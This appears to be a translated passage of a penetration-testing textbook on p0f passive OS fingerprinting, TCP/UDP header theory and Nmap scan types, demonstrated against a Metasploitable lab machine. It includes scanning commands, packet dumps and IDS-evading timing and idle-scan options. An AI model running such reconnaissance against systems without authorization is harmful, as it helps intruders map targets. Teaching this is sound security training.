为了克服主动方法的缺点,存在一种被动的操作系统指纹识别方法。这种方法是由 Michal Zalewsky 首创的,他发布了一个名为p0f的工具。被动 OS 指纹识别的主要优点是在减少测试机器和目标之间的交互的同时完成工作,大大增加了指纹识别的隐蔽性。被动方法的最大缺点是这个过程比主动方法慢。

在本节中,我们将描述一些用于操作系统指纹识别的工具。

p0f

p0f工具被用来 passively 对操作系统进行指纹识别。它可以用来识别以下机器上的操作系统:

  • 连接到您的机器的机器(SYN 模式;这是默认模式)

  • 连接到您的机器的机器(SYN + ACK 模式)

  • 无法连接的机器(RST+模式)

  • 您可以观察到其通信的机器

p0f工具通过分析网络活动期间发送的 TCP 数据包来工作。然后,它收集了默认情况下没有被任何公司标准化的特殊数据包的统计信息。例如,Linux 内核使用 64 字节的 ping 数据报,而 Windows 操作系统使用 32 字节的 ping 数据报或生存时间TTL)值。对于 Windows,TTL 值为128,而对于 Linux,这个 TTL 值在 Linux 发行版之间有所不同。然后,p0f使用这些信息来确定远程机器的操作系统。

在使用 Kali Linux 附带的p0f工具时,我们无法对远程机器上的操作系统进行指纹识别。我们发现p0f工具没有更新其指纹数据库。不幸的是,我们找不到最新版本的指纹数据库。因此,我们使用了p0f v3(版本 3.06b)。要使用这个版本的p0f,只需从lcamtuf.coredump.cx/p0f3/releases/p0f-3.06b.tgz下载TARBALL文件,并通过运行build.sh脚本来编译代码。默认情况下,指纹数据库文件(p0f.fp)的位置在当前目录中。如果要更改位置,例如更改为/etc/p0f/p0f.fp,则需要在config.h文件中更改这个位置并重新编译p0f。如果不更改位置,可能需要使用-f选项来定义指纹数据库文件的位置。

要访问p0f,打开控制台并输入p0f -h。这将显示其用法和选项描述。让我们使用p0f来识别我们正在连接的远程机器上使用的操作系统。只需在控制台中输入以下命令:

 p0f -f /etc/p0f/p0f.fp -o p0f.log

这将从文件中读取指纹数据库,并将日志信息保存到p0f.log文件中。然后它将显示以下信息:

        --- p0f 3.07b by Michal Zalewski <lcamtuf@coredump.cx> ---

    [+] Closed 1 file descriptor.
    [+] Loaded 320 signatures from '/usr/share/p0f/p0f.fp'.
    [+] Intercepting traffic on default interface 'eth0'.
    [+] Default packet filtering configured [+VLAN].
    [+] Log file 'p0f.log' opened for writing.
    [+] Entered main event loop.

接下来,您需要生成涉及 TCP 连接的网络活动,比如浏览远程机器或让远程机器连接到您的机器。为了进行演示,建立了与 2 号机器上 HTTP 站点的连接。

如果p0f成功对操作系统进行了指纹识别,您将在控制台和日志文件(p0f.log)中看到有关远程机器操作系统的信息。

以下是显示在控制台上的摘要信息:

    .-[ 172.16.43.150/41522 -> 172.16.43.156/80 (syn+ack) ]-
    |
    | server   = 172.16.43.156/80
    | os       = Linux 2.6.x
    | dist     = 0
    | params   = none
    | raw_sig  = 4:64+0:0:1460:mss*4,5:mss,sok,ts,nop,ws:df:0

以下截图显示了日志文件的内容:

根据前面的结果,我们知道目标是一个Linux 2.6机器。

以下截图显示了来自目标机器的信息:

通过比较这些信息,我们知道p0f正确地获取了操作系统信息。远程机器正在使用 Linux 2.6 版本。

您可以通过按下Ctrl + C组合键来停止p0f

介绍端口扫描

端口扫描的最简单定义是它是一种用于确定目标机器上传输控制协议TCP)和用户数据报协议UDP)端口状态的方法。开放的端口可能意味着有一个网络服务在该端口上监听,并且该服务是可访问的,而关闭的端口意味着该端口上没有网络服务在监听。

在获取端口状态之后,攻击者将检查网络服务使用的软件版本,并找出该软件版本的漏洞。例如,假设服务器 A 有 web 服务器软件版本 1.0。几天前,发布了一个安全公告。该公告提供了关于 web 服务器软件版本 1.0 中的漏洞的信息。如果攻击者发现了服务器 A 的 web 服务器并能够获取版本信息,攻击者可以利用这些信息来攻击服务器。这只是攻击者在获取有关机器上可用服务的信息后可以做的一个简单示例。

在我们深入研究端口扫描之前,让我们先讨论一下 TCP/IP 协议的理论。

理解 TCP/IP 协议

在 TCP/IP 协议套件中,有数十种不同的协议,但最重要的是 TCP 和 IP。IP 提供寻址、数据包路由和其他功能,用于将一台机器连接到另一台机器,而 TCP 负责管理连接,并在两台机器上的进程之间提供可靠的数据传输。IP 位于开放系统互连OSI)模型的网络层(第 3 层),而 TCP 位于 OSI 模型的传输层(第 4 层)。

除了 TCP,传输层中的另一个关键协议是 UDP。您可能会问这两种协议之间的区别是什么。

简而言之,TCP 具有以下特点:

  • 这是一种面向连接的协议:在 TCP 可以用于发送数据之前,想要通信的客户端和服务器必须使用三次握手机制建立 TCP 连接,如下所示:

  • 客户端通过向服务器发送一个包含 SYN(同步)标志的数据包来发起连接。客户端还在 SYN 段的序列号字段中发送初始序列号ISN)。这个 ISN 是随机选择的。

  • 服务器回复自己的 SYN 段,其中包含自己的 ISN。服务器通过发送一个包含客户端ISN + 1值的 ACK(确认)标志来确认客户端的 SYN。

  • 客户端通过发送一个包含服务器 ISN + 1的 ACK 标志来确认服务器。此时,客户端和服务器可以交换数据。

  • 要终止连接,TCP 必须遵循这个机制:

  • 客户端发送一个包含FIN(结束)标志的数据包。

  • 服务器发送一个ACK(确认)数据包以通知客户端服务器已经收到了 FIN 数据包。

  • 应用服务器准备关闭后,服务器发送一个 FIN 数据包。

  • 然后客户端发送ACK数据包以确认接收服务器的FIN数据包。在正常情况下,每一方(客户端或服务器)都可以通过发送FIN数据包独立地终止其通信端。

  • 这是一种可靠的协议:TCP 使用序列号和确认来标识数据包数据。接收方在接收到数据包时发送确认。当数据包丢失时,如果没有从接收方收到任何确认,TCP 将自动重传。如果数据包到达顺序不对,TCP 将在将其提交给应用程序之前重新排序。

  • 需要传输文件或重要数据的应用程序使用 TCP,例如超文本传输协议HTTP)和文件传输协议FTP)。

UDP 具有与 TCP 相反的特性,如下:

  • 这是一种无连接的协议。要发送数据,客户端和服务器不需要首先建立 UDP 连接。

  • 它会尽力将数据包发送到目的地,但如果数据包丢失,UDP 不会自动重新发送。由应用程序重新传输数据包。

可以承受一些数据包丢失的应用程序,例如视频流和其他多媒体应用程序,使用 UDP。使用 UDP 的其他知名应用程序包括域名系统DNS)、动态主机配置协议DHCP)和简单网络管理协议SNMP)。

为了使应用程序能够正确通信,传输层使用称为端口的寻址。软件进程在服务器端的特定端口号上监听,并且客户端机器将数据发送到该服务器端口,以便由服务器应用程序处理。端口号有一个 16 位地址,数字范围从065,535。为了避免端口号的混乱使用,有关端口号范围的通用协议如下:

  • 众所周知的端口号(0 1,023:此范围内的端口号是保留端口号,通常由系统管理员或特权用户运行的服务器进程使用。应用服务器使用的端口号示例包括 SSH(端口22)和 HTTP(端口80)、HTTPS(端口443)。

  • 注册端口号(1,024 49,151:用户可以向互联网编号分配机构IANA)发送请求,为他们的客户端-服务器应用程序保留其中一个端口号。

  • 私有或动态端口号(49,152 65,535:任何人都可以使用此范围内的端口号,而无需向 IANA 注册。

在简要讨论了 TCP 和 UDP 之间的区别之后,让我们描述一下 TCP 和 UDP 消息格式。

理解 TCP 和 UDP 消息格式

TCP 消息称为段。TCP 段由头部和数据部分组成。TCP 头通常为 20 个字节长(不包括 TCP 选项)。可以使用以下屏幕截图描述 TCP 头:

以下是对每个字段的简要描述:

  • 源端口目标端口各自的长度为 16 位。源端口是发送机上传输数据包的端口,而目标端口是接收数据包的目标机器上的端口。

  • 序列号(32 位)在正常传输中,是此段数据的第一个字节的序列号。

  • 确认号(32 位)包含发送方的序列号,增加了一个。

  • H.Len.(4 位)是 TCP 头的大小,以 32 位字为单位。

  • Rsvd. 保留供将来使用。它是一个 4 位字段,必须为零。

  • 控制位(控制标志)包含八个 1 位标志。在原始规范(RFC 793;可以从www.ietf.org/rfc/rfc793.txt下载 RFC)中,TCP 只有六个标志,如下:

  • SYN:此标志同步序列号。此位在会话建立期间使用。

  • ACK:此标志表示 TCP 头中的确认字段是重要的。如果数据包包含此标志,这意味着它是对先前接收的数据包的确认。

  • RST:此标志重置连接。

  • FIN:此标志表示一方没有更多数据要发送。它用于优雅地终止连接。

  • PSH:此标志表示缓冲数据应立即推送到应用程序,而不是等待更多数据。

  • URG:这个标志表示 TCP 头部中的紧急指针字段是重要的。紧急指针指的是重要的数据序列号。

稍后,RFC 3168(RFC 可以从www.ietf.org/rfc/rfc3168.txt下载)添加了两个扩展标志,如下所示:

  • 拥塞窗口减小(CWR):这是数据发送方用来通知数据接收方由于网络拥塞而减少了待发送的未决数据包队列

  • 显式连接通知-回显(ECN-Echo):这表示网络连接正在经历拥塞

  • 窗口大小(16 位)指定接收方愿意接受的字节数

  • 校验和(16 位)用于对 TCP 头部和数据进行错误检查

标志可以独立设置。

要获取有关 TCP 的更多信息,请参阅 RFC 793 和 RFC 3168。

当使用 SYN 数据包对目标机器的 TCP 端口进行端口扫描时,攻击者可能会面临以下行为:

  • 目标机器以 SYN+ACK 数据包回应。如果我们收到这个数据包,我们就知道端口是开放的。这种行为在 TCP 规范(RFC 793)中定义,规定如果端口是开放的,SYN 数据包必须用 SYN + ACK 数据包回应,而不考虑 SYN 数据包的有效负载。

  • 目标机器发送一个设置了 RST 和 ACK 位的数据包。这意味着端口是关闭的。

  • 目标机器发送 ICMP 消息,比如ICMP 端口不可达,这意味着该端口对我们不可访问,很可能是因为防火墙阻止了它。

  • 目标机器对我们没有任何回应。这可能表示该端口上没有网络服务监听,或者防火墙正在默默地阻止我们的 SYN 数据包。

从渗透测试人员的角度来看,端口开放时的行为是有趣的,因为这意味着该端口上有一个可以进一步测试的服务。

如果进行端口扫描攻击,您应该了解各种 TCP 行为的列表,以便能够更有效地进行攻击。

在扫描 UDP 端口时,您将看到不同的行为;这些将在稍后解释。在我们继续看各种 UDP 行为之前,让我们先看一下 UDP 头部格式,如下图所示:

以下是 UDP 头部中每个字段的简要解释,如前图所示。

就像 TCP 头部一样,UDP 头部也有源端口目标端口,每个端口长度为 16 位。源端口是发送数据包的发送机器上的端口,而目标端口是接收数据包的目标机器上的端口。

  • UDP 长度是 UDP 头部的长度

  • UDP 校验和(16 位)用于对 UDP 头部和数据进行错误检查

请注意,在 UDP 头部中没有序列号、确认号和控制位字段。

在对目标机器的 UDP 端口进行端口扫描活动时,攻击者可能会面临以下行为:

  • 目标机器以 UDP 数据包回应。如果我们收到这个数据包,我们就知道端口是开放的。

  • 目标机器发送 ICMP 消息,比如ICMP 端口不可达。可以得出结论,端口是关闭的。然而,如果发送的消息不是 ICMP 不可达消息,那么意味着端口被防火墙过滤了。

  • 目标机器对我们没有任何回应。这可能表示以下情况之一:

  • 端口是关闭的

  • 入站 UDP 数据包被阻止

  • 响应被阻止

与 TCP 端口扫描相比,UDP 端口扫描的可靠性较低,因为有时 UDP 端口是开放的,但在该端口上监听的服务正在寻找特定的 UDP 有效负载。因此,服务将不会发送任何回复。

现在我们已经简要描述了端口扫描理论,让我们将其付诸实践。在接下来的几节中,我们将看看几个工具,可以帮助我们进行网络扫描。

在本章的实际场景中,我们将利用一个 Metasploitable 虚拟机作为我们的目标机器。它的 IP 地址是172.16.43.156,而我们的攻击机器的 IP 地址是172.16.43.150

网络扫描仪

在本节中,我们将看看几个工具,可以用来查找开放端口、指纹远程操作系统,并枚举远程机器上的服务。

服务枚举是一种用于查找目标系统上特定端口上可用服务版本的方法。这个版本信息很重要,因为有了这个信息,渗透测试人员可以搜索存在于该软件版本的安全漏洞。

虽然通常使用标准端口,但有时系统管理员会更改某些服务的默认端口。例如,SSH 服务可能绑定到端口22(作为约定),但系统管理员可能会将其更改为绑定到端口2222。如果渗透测试人员只对 SSH 的常用端口进行端口扫描,可能无法找到该服务。当处理运行在非标准端口上的专有应用程序时,渗透测试人员也会遇到困难。通过使用服务枚举工具,这两个问题可以得到缓解,因此有可能找到服务,无论它绑定到哪个端口。

Nmap

Nmap 是一个全面的、功能丰富的、广泛被 IT 安全社区使用的端口扫描器。它由 Fyodor 编写和维护。由于其质量和灵活性,它是渗透测试人员必备的工具。

除了用作端口扫描器外,Nmap 还具有以下几个功能:

  • 主机发现:Nmap 可以用来在目标系统上找到活动的主机。默认情况下,Nmap 将发送一个 ICMP 回显请求,一个 TCP SYN 数据包到端口443,一个 TCP ACK 数据包到端口80,以及一个 ICMP 时间戳请求来进行主机发现。

  • 服务/版本检测:在 Nmap 发现端口后,它可以进一步检查目标机器上使用的服务协议、应用程序名称和版本号。

  • 操作系统检测:Nmap 向远程主机发送一系列数据包,并检查响应。然后,它将这些响应与其操作系统指纹数据库进行比较,并在有匹配时打印出详细信息。如果它无法确定操作系统,Nmap 将提供一个 URL,您可以提交指纹以更新其操作系统指纹数据库。当然,如果您知道目标系统使用的操作系统,应该提交指纹。

  • 网络路由跟踪:这是为了确定最有可能到达目标系统的端口和协议。Nmap 路由跟踪从一个较高的 TTL 值开始,并递减直到 TTL 值达到零。

  • Nmap 脚本引擎:有了这个功能,Nmap 可以被扩展。如果您想添加一个默认 Nmap 中没有包含的检查,可以使用 Nmap 脚本引擎编写检查。目前,有检查网络服务漏洞和枚举目标系统资源的功能。

始终检查 Nmap 的新版本是一个好习惯。如果您找到了适用于 Kali Linux 的最新版本的 Nmap,可以通过发出以下命令来更新您的 Nmap:

apt-get update
apt-get install nmap  

要启动 Nmap,可以转到应用程序,然后转到信息收集。您也可以通过转到控制台来执行以下命令来启动 Nmap:

nmap  

这将显示所有 Nmap 选项及其描述。

对于 Nmap 新手来说,可用选项可能会让人感到不知所措。

幸运的是,您只需要一个选项来扫描远程机器。该选项是您的目标 IP 地址或主机名,如果您已正确设置 DNS。这可以通过以下命令完成:

    nmap 172.16.43.156

以下是没有其他选项的扫描结果:

    Nmap scan report for 172.16.43.156
    Host is up (0.00025s latency).
    Not shown: 977 closed ports
    PORT     STATE SERVICE
    21/tcp   open  ftp
    22/tcp   open  ssh
    23/tcp   open  telnet
    25/tcp   open  smtp
    53/tcp   open  domain
    80/tcp   open  http
    111/tcp  open  rpcbind
    139/tcp  open  netbios-ssn
    445/tcp  open  microsoft-ds
    512/tcp  open  exec
    513/tcp  open  login
    514/tcp  open  shell
    1099/tcp open  rmiregistry
    1524/tcp open  ingreslock
    2049/tcp open  nfs
    2121/tcp open  ccproxy-ftp
    3306/tcp open  mysql
    5432/tcp open  postgresql
    5900/tcp open  vnc
    6000/tcp open  X11
    6667/tcp open  irc
    8009/tcp open  ajp13
    8180/tcp open  unknown
    MAC Address: 00:0C;29:18:0F:08 (VMware)

    Nmap done: 1 IP address (1 host up) scanned in 1.7 seconds

从前面的结果中,我们可以看到目标机器非常容易受到攻击,因为它有许多开放的端口。

在继续使用 Nmap 之前,让我们看一下 Nmap 可以识别的端口状态。Nmap 可以识别六种端口状态,如下所示:

  • 打开: 这意味着有一个应用程序接受 TCP 连接、UDP 数据报或 SCTP 关联。

  • 关闭: 这意味着虽然端口是可访问的,但没有应用程序在该端口上监听。

  • 过滤: 这意味着 Nmap 无法确定端口是否打开,因为有一个数据包过滤设备阻止了探测到达目标。

  • 未过滤: 这意味着端口是可访问的,但 Nmap 无法确定它是打开还是关闭的。

  • 打开|过滤: 这意味着 Nmap 无法确定端口是打开还是过滤的。当打开端口的扫描没有响应时会发生这种情况。这可以通过设置防火墙来实现丢弃数据包。

  • 关闭|过滤: 这意味着 Nmap 无法确定端口是关闭还是过滤的。

在描述端口状态之后,我们将描述在渗透测试中常用的几个选项,然后我们将在实践中使用这些选项。

Nmap 目标规范

Nmap 将处理命令行上不是选项或选项参数的所有内容作为目标主机规范。我们建议您使用 IP 地址规范而不是主机名。通过使用 IP 地址,Nmap 不需要首先进行 DNS 解析。这将加快端口扫描过程。

在当前版本中,Nmap 支持以下 IPv4 地址规范:

  • 它支持单个主机,比如172.16.43.156

  • 它支持使用 CIDR 表示法的相邻主机的整个网络,比如172.16.43.0/24。这个规范将包括从172.16.43.0172.16.43.255的 256 个 IP 地址。

  • 它支持八进制范围寻址,比如172.16.2-4,6.1。这种寻址将包括四个 IP 地址:172.16.2.1172.16.3.1172.16.4.1172.16.6.1

  • 它支持多个主机规范,比如172.16.43.1 172.168.3-5,9.1

对于 IPv6 地址,Nmap 只支持完全合格的 IPv6 格式和主机名,比如fe80::a8bb:ccff:fedd:eeff%eth0

除了从命令行获取目标规范外,Nmap 还可以通过使用-iL <inputfilename>选项从文本文件中接受目标定义。如果我们已经从另一个程序获得了 IP 地址,这个选项就很有用。

确保文件中的条目使用 Nmap 支持的目标规范格式。每个条目必须用空格、制表符或新行分隔。

以下代码是该文件的示例:

172.16.1.1-254 
172.16.2.1-254 

现在,让我们扫描172.16.430/24的网络。我们想要查看 Nmap 发送的数据包。为了监视发送的数据包,我们可以使用数据包捕获实用程序,比如tcpdump

打开一个控制台,输入以下命令:

tcpdump -nnX tcp and host 172.16.43.150  

172.16.43.150 IP 地址属于我们的机器,它启动了 Nmap。您需要根据您的配置进行调整。

在同一台机器上打开另一个控制台,输入以下命令:

    nmap 172.16.43.0/24

tcpdump控制台中,您将看到以下数据包:

    22:42:12.107532 IP 172.16.43.150.49270 >172.16.43.156.23: Flags [S], seq 239440322, win 1024, options [mss 1460], length 0
      0x0000:  4500 002c eb7f 0000 3006 ad2e c0a8 3866  E..,....0.....8f
      0x0010:  c0a8 3867 c076 0017 0e45 91c2 0000 0000  ..8g.v...E......
      0x0020:  6002 0400 4173 0000 0204 05b4            `...As......

根据前面的数据包信息,我们知道攻击机器从端口49270向目标机器端口23(Telnet)发送了一个设置了 SYN 标志的数据包。如果 Nmap 由特权用户(如 Kali Linux 中的root)运行,默认情况下会设置 SYN 标志。

以下屏幕截图显示了攻击机器发送到目标网络上其他机器和端口的数据包:

如果远程机器响应,响应数据包将如下所示:

22:36:19.939881 IP 172.16.43.150.1720 >172.16.43.156.47823: Flags [R.], seq 0, ack 1053563675, win 0, length 0 
  0x0000:  4500 0028 0000 4000 4006 48b2 c0a8 3867  E..(..@.@.H...8g 
  0x0010:  c0a8 3866 06b8 bacf 0000 0000 3ecc 1b1b  ..8f........>... 
  0x0020:  5014 0000 a243 0000 0000 0000 0000       P....C........ 

请注意,发送的标志由字符R表示,即重置。这意味着目标机器中的端口1720是关闭的。我们可以通过之前的 Nmap 结果来验证这一点。

但是,如果端口是开放的,您将看到以下网络流量:

22:42:12.108741 IP 172.16.43.156.23 >172.16.43.150.49270:Flags [S.], seq 1611132106, ack 239440323, win 5840,options [mss 1460], length 0 
  0x0000:  4500 002c 0000 4000 4006 48ae c0a8 3867  E..,..@.@.H...8g 
  0x0010:  c0a8 3866 0017 c076 6007 ecca 0e45 91c3  ..8f...v`....E.. 
  0x0020:  6012 16d0 e1bf 0000 0204 05b4 0000 

您可以看到前面代码中的数据包是用来确认先前显示的数据包的序列号的。此数据包的确认号为239440323,而前一个数据包的序列号为239440322

Nmap TCP 扫描选项

要能够使用大多数 TCP 扫描选项,Nmap 需要一个特权用户(Unix 世界中的根级帐户或 Windows 世界中的管理员级帐户)。这用于发送和接收原始数据包。默认情况下,Nmap 将使用 TCP SYN 扫描,但如果 Nmap 没有特权用户,则将使用 TCP 连接扫描。Nmap 使用的各种扫描如下:

  • TCP 连接扫描(-sT):此选项将完成与每个目标端口的三次握手。如果连接成功,则认为端口是开放的。由于需要对每个端口进行三次握手,因此此扫描类型速度较慢,并且很可能会被目标记录。如果 Nmap 由没有任何特权的用户运行,则使用此默认扫描选项。

  • SYN 扫描(-sS):此选项也称为半开放或 SYN 隐身。使用此选项,Nmap 发送一个 SYN 数据包,然后等待响应。SYN/ACK 响应表示端口正在监听,而 RST/ACK 响应表示端口未在监听。如果没有响应或者是 ICMP 不可达的错误消息响应,则认为端口被过滤。此扫描类型可以快速执行,并且由于三次握手从未完成,因此不会引人注目和隐秘。如果以特权用户身份运行 Nmap,则这是默认的扫描选项。

  • TCP NULL 扫描(-sN)、FIN 扫描(-sF)和 XMAS 扫描(-sX):NULL扫描不设置任何控制位。FIN 扫描只设置 FIN 标志位,而XMAS扫描设置 FIN、PSH 和 URG 标志。如果收到 RST 数据包作为响应,则认为端口关闭,而没有响应则表示端口是开放/被过滤的。

  • TCP Maimon 扫描(-sM):TCP Maimon 扫描是由 Uriel Maimon 发现的。此类型的扫描将发送一个设置了 FIN/ACK 标志位的数据包。如果端口是开放的,基于 BSD 的系统将丢弃数据包,并在端口关闭时响应 RST。

  • TCP ACK 扫描(-sA):此扫描类型用于确定防火墙是否具有状态,并且哪些端口被过滤。此类型的网络数据包仅设置 ACK 位。如果返回 RST,则表示目标未被过滤。

  • TCP 窗口扫描(-sW):此扫描类型通过检查 RST 数据包响应的 TCP 窗口字段来工作。开放端口将具有正的 TCP 窗口值,而关闭端口将具有零的 TCP 窗口值。

  • TCP 空闲扫描(-sI):使用此技术,您的机器不会向目标发送任何数据包;相反,扫描将反弹到您指定的僵尸主机。IDS 将报告僵尸为攻击者。

  • Nmap 还支持您通过提供scanflags选项来创建自己的自定义 TCP 扫描。该选项的参数可以是数字,例如9表示 PSH 和 FIN,也可以是符号名称。只需以任何顺序组合 URG、ACK、PSH、RST、SYN、FIN、ECE、CWR、ALL 和 NONE;例如,--scanflags URGACKPSH将设置 URG、ACK 和 PSH 标志。

禁用主机发现

如果主机阻止了 ping 请求,Nmap 可能会检测到主机不活动;因此,Nmap 可能不会执行诸如端口扫描、版本检测和操作系统检测等重型探测。为了克服这一点,Nmap 具有一个禁用主机发现的功能。使用此选项,Nmap 将假定目标机器可用,并将对该机器执行重型探测。

此选项使用-Pn选项激活。

Nmap UDP 扫描选项

尽管 TCP 扫描有许多类型的扫描,但 UDP 扫描只有一种类型,即 UDP 扫描(-sU)。尽管 UDP 扫描不如 TCP 扫描可靠,但作为渗透测试人员,您不应忽视此扫描,因为这些 UDP 端口上可能有有趣的服务。

UDP 扫描的最大问题是如何快速执行扫描。Linux 内核限制发送ICMP 端口不可达消息每秒一条。对一台机器进行 65,536 个端口的 UDP 扫描将需要超过 18 小时才能完成。

为了帮助缓解这个问题,可以使用几种方法,如下所示:

  • 并行运行 UDP 扫描

  • 首先扫描最流行的端口

  • 在防火墙后面扫描

  • --host-timeout选项设置为跳过慢主机

这些方法可以帮助减少进行 UDP 端口扫描所需的时间。

让我们看一个场景,我们想要找出目标机器上开放的 UDP 端口。为了加快扫描过程,我们将仅检查端口53(DNS)和161(SNMP)。以下是用于执行此操作的命令:

nmap -sU 172.16.43.156 -p 53,161  

以下是此命令的结果:

Nmap scan report for 172.16.43.156
Host is up (0.0016s latency).
PORT    STATE  SERVICE
53/udp  open   domain
161/udp closed snmp  

Nmap 端口规范

在默认配置中,Nmap 将仅随机扫描每个协议的 1,000 个最常见端口。nmap-services文件包含用于选择顶端口的流行度分数。

要更改该配置,Nmap 提供了几个选项:

  • -p 端口范围:这只扫描定义的端口。要扫描端口11024,命令是-p 1-1024。要扫描端口165535,命令是-p-

  • -F (快速):这将仅扫描 100 个常见端口。

  • -r (不随机化端口):此选项将设置顺序端口扫描(从最低到最高)。

  • --top-ports <1 或更大>:此选项将仅扫描nmap-service文件中发现的N个最高比例端口。

要使用 TCP NULL 扫描方法扫描端口2225,可以使用以下命令:

nmap -sN -p 22,25 172.16.43.156 

以下命令行是结果:

    Nmap scan report for 172.16.43.156
    Host is up (0.00089s latency).
    PORT     STATE         SERVICE
    22/tcp   open|filtered ssh
    25/tcp   open|filtered smtp
    MAC Address: 00:0C:29:18:0F:08 (VMware)
    Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds

以下是数据包的转储片段:

23:23:38.581818 IP 172.16.43.150.61870 >172.16.43.156.22: Flags [], win 1024, length 0 
  0x0000:  4500 0028 06e4 0000 2f06 92ce c0a8 3866  E..(..../.....8f 
  0x0010:  c0a8 3867 f1ae 0016 dd9e bf90 0000 0000  ..8g............ 
  0x0020:  5000 0400 2ad2 0000                      P...*... 

23:23:38.581866 IP 172.16.43.150.61870 >172.16.43.156.25: Flags [], win 1024, length 0 
  0x0000:  4500 0028 1117 0000 3106 869b c0a8 3866  E..(....1.....8f 
  0x0010:  c0a8 3867 f1ae 0019 dd9e bf90 0000 0000  ..8g............ 
  0x0020:  5000 0400 2acf 0000                      P...*... 

23:23:39.683483 IP 172.16.43.150.61871 >172.16.43.156.25: Flags [], win 1024, length 0 
  0x0000:  4500 0028 afaf 0000 2706 f202 c0a8 3866  E..(....'.....8f 
  0x0010:  c0a8 3867 f1af 0019 dd9f bf91 0000 0000  ..8g............ 
  0x0020:  5000 0400 2acc 0000                      P...*... 

23:23:39.683731 IP 172.16.43.150.61871 >172.16.43.156.22: Flags [], win 1024, length 0 
  0x0000:  4500 0028 5488 0000 3506 3f2a c0a8 3866  E..(T...5.?*..8f 
  0x0010:  c0a8 3867 f1af 0016 dd9f bf91 0000 0000  ..8g............ 
  0x0020:  5000 0400 2acf 0000                      P...*...   

从前面的代码中显示的数据包中,我们可以看到以下内容:

  • 在第一和第二个数据包中,攻击机器检查目标机器上的端口22是否开放。一段时间后,它检查目标机器上的端口25

  • 在第三和第四个数据包中,攻击机器检查目标机器上的端口25是否开放。一段时间后,它检查目标机器上的端口22

  • 等待一段时间后,由于目标机器仍未响应,Nmap 得出结论认为这两个端口是开放的或被过滤的。

Nmap 输出选项

Nmap 的结果可以保存到外部文件。如果您想要使用其他工具处理 Nmap 结果,此选项非常有用。即使将输出保存到文件,Nmap 仍会在屏幕上显示结果。

Nmap 支持几种输出格式,如下所示:

  • 交互式输出:这是默认的输出格式,结果发送到标准输出。

  • 正常输出(-oN:此格式类似于交互式输出,但不包括运行时信息和警告。

  • XML 输出(-oX:此格式可以转换为 HTML 格式,由 Nmap 图形用户界面(GUI)解析,或导入到数据库。我们建议您尽可能使用此输出格式。

  • Grepable 输出(-oG):此格式已被弃用,但仍然相当受欢迎。Grepable 输出包括注释(以井号(#)开头的行)和目标行。目标行包括六个标记字段的组合,这些字段由制表符分隔,并在冒号后面。字段是HostPortsProtocolsIgnored StateOSSeq IndexIP ID SeqStatus。如果我们想要使用 UNIX 命令(如grepawk)处理 Nmap 输出,有时会使用此输出。

您可以使用-oA选项一次保存 Nmap 结果为三种格式(正常、XML 和 grepable)。

要将扫描结果保存到 XML 文件(myscan.xml),请使用以下命令:

nmap 172.16.43.156 -oX myscan.xml  

以下是 XML 文件的片段:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE nmaprun> 
<?xml-stylesheet href="file:///usr/bin/../share/nmap/nmap.xsl" type="text/xsl"?> 
<!-- Nmap 6.49BETA4 scan initiated Mon Feb 15 18:06:20 2016 as: nmap -oX metasploitablescan.xml 172.16.43.156 --> 
<nmaprun scanner="nmap" args="nmap -oX metasploitablescan.xml 172.16.43.156" start="1455588380" startstr="Mon Feb 15 18:06:20 2016" version="6.49BETA4" 
<scaninfo type="syn" protocol="tcp" numservices="1000" services="1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700, 

出于简洁起见,上面的片段中删除了一些端口。在 XML 输出中,您将看到 Nmap 针对每个端口进行扫描。以下显示了每个被单独扫描的端口及其响应。同样,出于简洁起见,未包括所有端口:

    <verbose level="0"/>
    <debugging level="0"/>
    <host starttime="1455588380" endtime="1455588382"><status state="up" reason="arp-response" reason_ttl="0"/>
    <address addr="172.16.43.156" addrtype="ipv4"/>
    <address addr="00:0C:29:18:0F:08" addrtype="mac" vendor="VMware"/>
    <hostnames>
    </hostnames>
    <ports><extraports state="closed" count="977">
    <extrareasons reason="resets" count="977"/>
    </extraports>
    <port protocol="tcp" portid="21"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="ftp" method="table" conf="3"/></port>
    <port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="ssh" method="table" conf="3"/></port>
    <port protocol="tcp" portid="23"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="telnet" method="table" conf="3"/></port>
    <port protocol="tcp" portid="25"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="smtp" method="table" conf="3"/></port>
    <port protocol="tcp" portid="53"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="domain" method="table" conf="3"/></port>
    <port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="http" method="table" conf="3"/></port>
    <port protocol="tcp" portid="111"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="rpcbind" method="table" conf="3"/></port>
    <port protocol="tcp" portid="139"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="netbios-ssn" method="table" conf="3"/></port>

XML 输出有点令人生畏。为了使其更容易,您可以将 Nmap XML 文件转换为 HTML。这样,您可以获得干净的输出以供报告使用,因为您可能向非技术人员报告,他们可能不习惯查看原始输出。要转换 XML 文件,您可以使用xsltproc程序。以下命令用于将 XML 文件转换为 HTML 文件:

xsltproc myscan.xml -o myscan.html 

以下是 HTML 报告的一部分,由 Kali Linux 中包含的 Firefox ESR 浏览器显示:

如果您想要根据自己的喜好处理 Nmap XML 输出,有几个通用的编程语言 XML 库可供您使用。此外,还有几个专门开发用于处理 Nmap 输出的库:

Nmap 时间选项

Nmap 配有六种定时模式,您可以使用选项(-T)进行设置:

  • paranoid (0): 在此时间模式下,每五分钟发送一个数据包。数据包是串行发送的。此模式可用于避免 IDS 检测。

  • sneaky (1): 此模式每 15 秒发送一个数据包,没有并行发送数据包。

  • polite (2): 此模式每 0.4 秒发送一个数据包,没有并行传输。

  • normal (3): 此模式将多个数据包同时发送到多个目标。这是 Nmap 使用的默认时间模式。它在时间和网络负载之间平衡。

  • aggressive (4): Nmap 将在移动到下一个目标之前仅扫描给定主机 5 分钟。Nmap 不会等待超过 1.25 秒的响应。

